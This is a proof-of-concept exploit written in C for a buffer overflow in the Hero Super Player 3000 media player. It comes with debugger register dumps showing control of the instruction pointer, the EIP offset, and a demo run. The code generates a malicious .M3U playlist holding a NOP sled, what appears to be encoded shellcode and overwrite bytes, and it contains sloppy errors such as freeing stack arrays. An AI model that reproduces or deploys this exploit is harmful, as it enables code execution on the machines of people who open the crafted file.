| 
	    /******************************************************    HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC *    by fl0 fl0w                                          *    ******************************************************   */ 
  /********************************************************    SOFTWARE INFORMATION                                   *      The software video player supports almost all formats  *    and disks, you don't need any other software player to *    play various video files. It can make obscure video    *    has high definition and completely eliminate alias,    *    also supports video desktop, resume playback and       *    intellectual bookmark. It also provides audio formats  *     conversion between AC3, MP3, and WAV, including CD     *    ripping and video conversion between MPEG4 and AVI.    *    ********************************************************   */      /***************************************   DEBUGGING INFORMATION                  *                                                  EAX 00000000                           *                                                     ECX 00000000                           *                                                     EDX 7C90E514 ntdll.KiFastSystemCallRet *                                                     EBX 000004ED                           *                                                     ESP 0012ED48                           *                                                     EBP 000004ED                           *                                                     ESI 00000001                           *                                                     EDI 7E42F3C2 USER32.SendMessageA       *                                                     EIP 00414141 Mmxado.00414141           *                                                     ****************************************   */                                                                                             /***************************************************************************************    ASSEMBLY                                                                              *     00414141   FF7C             ???                                      ; Unknown command*    00414143   43               INC EBX                                                   *     00414144   83C9 FF          OR ECX,FFFFFFFF                                           *    00414147   EB 46            JMP SHORT Mmxado.0041418F                                 *    00414149   3D 21030000      CMP EAX,321                                               *                                                                                          *     As you cand see the assembler has no clue what just happend ???                       *    ahhahahha ,just kidding                                                               *    We own EIP register , just that the assembler copyes 1 NULL byte.                     *     The function Mmxado() causes the bug.                                                 *    This is info from Windows DEP                                                         *     AppName: mmxado.exe  AppVer: 1.0.0.1  ModName: mmxado.exe                     *      ModVer: 1.0.0.1  Offset: 00014141                                                *    After more tests here is the assembly ,here we identify the origins of the bug        *                                                                                          *       0012EB0A   0000             ADD BYTE PTR DS:[EAX],AL                                  *        0012EB0C   3B00             CMP EAX,DWORD PTR DS:[EAX]                                *         012EB0E   0000             ADD BYTE PTR DS:[EAX],AL                                   *          0012EB10   2300             AND EAX,DWORD PTR DS:[EAX]                                *    It adds to EAX a value that it cannot handle.                                         *     Then compares the new value with the old one                                          *    and it rezults in setting the Z FLAG with 0 as a rezult of false                      *    Snip                                                                                  *     Z 0 DS 0023 32bit 0(FFFFFFFF)                                                         *    Snip                                                                                  *     The EIP OFFSET is 253 bytes(0xFD).                                                    *    ***************************************************************************************          */      /*************************************************************************************    TECHNICALL INFORMATION                                                              *              Download the software from :                                                        *    http://www.download.com/Hero-Super-Player-3000/3000-2139_4-10401910.html?tag=lst-3  *    Note :After you open the TestFile click on DelUnselect,that's                       *    when the buffer overflow occurs.                                                    *    This POC has been tested on MS Windows Xp Sp3 English.                              *    This POC has been compiled with DEv-C++ 4.9.9.2                                     *    *************************************************************************************   */          /*******************************************************************************   DEMO                                                                           *    C:\Documents and Settings\Stefan\Desktop>hero.exe                              *                                                                                  *    This POC was written for educational purpose.                                  *   Use it at your own risk.                                                       *   Author will be not be responsible for any damage.                              *                                                                                  *          PRESS 1 to CONTINUE                                                      *                                                                                  *          PRESS 2 to EXIT                                                          *   1                                                                              *         *********************************************************************          *                 HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC             *   The usage is:                                                                  *                 All Credits fl0 fl0w                                             *                                                                                   *           -f       FILE                                                            *   *********************************************************************          *   C:\Documents and Settings\Stefan\Desktop>hero.exe -f test                      *         FILE DONE !                                                              *         The file is saved in the directory : C:\Documents and Settings\Stefan\De *   sktop                                                                          *   ********************************************************************************   */ #include "stdio.h" #include "stdlib.h" #include "string.h" #include "windows.h" #include "stdint.h" #include "getopt.h" #include "unistd.h" 
#define JUNK_SIZE 0x101 //257 bytes #define SIZE 0x400      typedef struct Top {  uint8_t D;  uint8_t I;  uint8_t R;                    }DIR;  typedef struct BOTTOM {  uint8_t E;  uint8_t X;  uint8_t T;  uint8_t N;                   }EXTENSION;             void Usage ()    { system("CLS");          printf("*********************************************************************\n");       fprintf ( stdout , "\t\tHERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC\n");      printf("The usage is:\n");           fprintf ( stdout , "\t\tAll Credits fl0 fl0w\n");          }         void Menu()    { fprintf(stderr,     "\n"     "\t-f       FILE\n"     "*********************************************************************"     "\n");    }                                                             uint32_t fletcher32(uint8_t data[SIZE], int16_t len)     {     uint32_t sum1 = 0xffff, sum2 = 0xffff;     while (len) {     unsigned tlen = len > 360 ? 360 : len;     len -= tlen;     do {     sum1 += *data++;     sum2 += sum1;     } while (--tlen);     sum1 = (sum1 & 0xffff) + (sum1 >> 16);     sum2 = (sum2 & 0xffff) + (sum2 >> 16);     }     sum1 = (sum1 & 0xffff) + (sum1 >> 16);     sum2 = (sum2 & 0xffff) + (sum2 >> 16);     return sum2 << 16 | sum1;     }    void buildFile(char *fname) {   uint8_t JUNK[JUNK_SIZE] = {     0x90, 0x90, 0x90, 0x90, 0x90, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x6A, 0x23, 0x59, 0xD9,      0xEE, 0xD9, 0x74, 0x24, 0xF4, 0x5B, 0x81, 0x73, 0x13, 0xEC, 0x61, 0x0E, 0x31, 0x83, 0xEB, 0xFC,      0xE2, 0xF4, 0x10, 0x89, 0x4A, 0x31, 0xEC, 0x61, 0x85, 0x74, 0xD0, 0xEA, 0x72, 0x34, 0x94, 0x60,      0xE1, 0xBA, 0xA3, 0x79, 0x85, 0x6E, 0xCC, 0x60, 0xE5, 0x78, 0x67, 0x55, 0x85, 0x30, 0x02, 0x50,      0xCE, 0xA8, 0x40, 0xE5, 0xCE, 0x45, 0xEB, 0xA0, 0xC4, 0x3C, 0xED, 0xA3, 0xE5, 0xC5, 0xD7, 0x35,      0x2A, 0x35, 0x99, 0x84, 0x85, 0x6E, 0xC8, 0x60, 0xE5, 0x57, 0x67, 0x6D, 0x45, 0xBA, 0xB3, 0x7D,      0x0F, 0xDA, 0x67, 0x7D, 0x85, 0x30, 0x07, 0xE8, 0x52, 0x15, 0xE8, 0xA2, 0x3F, 0xF1, 0x88, 0xEA,      0x4E, 0x01, 0x69, 0xA1, 0x76, 0x3D, 0x67, 0x21, 0x02, 0xBA, 0x9C, 0x7D, 0xA3, 0xBA, 0x84, 0x69,      0xE5, 0x38, 0x67, 0xE1, 0xBE, 0x31, 0xEC, 0x61, 0x85, 0x59, 0xD0, 0x3E, 0x3F, 0xC7, 0x8C, 0x37,      0x87, 0xC9, 0x6F, 0xA1, 0x75, 0x61, 0x84, 0x8E, 0xC0, 0xD1, 0x8C, 0x09, 0x96, 0xCF, 0x66, 0x6F,      0x59, 0xCE, 0x0B, 0x02, 0x6F, 0x5D, 0x8F, 0x4F, 0x6B, 0x49, 0x89, 0x61, 0x0E, 0x31, 0x90, 0x90,      0x90, 0x90, 0x90, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60,      0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60,      0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x60, 0x63, 0x63,      0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x90,      0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x41, 0x41, 0x41,  0x41,   };                 uint8_t w[SIZE];   uint8_t x[SIZE];   //Allocating memory for our 2 structures   DIR *Dr;   Dr = (DIR*)malloc(sizeof(DIR));   EXTENSION *ExT;   ExT = (EXTENSION*)malloc(sizeof(EXTENSION));   //buildind byte by byte the construction C:\   Dr->D = 0x43;   Dr->I = 0x3A;   Dr->R = 0x5C;   memcpy(x, Dr, sizeof(Dr));   fletcher32(x, SIZE);   //buildind byte by byte the construction .MP3   ExT->E = 0x2E;   ExT->X = 0x6D;   ExT->T = 0x70;   ExT->N = 0x33;     memcpy(w, ExT, sizeof(ExT));    fletcher32(w, SIZE);   //building our special binary .M3U FILE   FILE *f;   f = fopen(fname, "wb");   fwrite(x, sizeof(uint8_t), 3, f);   fwrite(JUNK, sizeof(uint8_t), sizeof(JUNK), f);   fwrite(w, sizeof(uint8_t), 4, f);   fclose(f);     free(x);   free(w);   }    int main(int argc, char *argv[]) { if(argc < 2) {    Usage();           Menu();    exit(-1);    }   uint8_t b[SIZE];   strcpy(b, argv[2]);   strcat(b, ".m3u");   buildFile(b);   printf("\tFILE DONE !\n");   char *path;   size_t size;   path = getcwd(path, size);   printf("\tThe file is saved in the directory : %s", path);   return 0;  }  
	
  |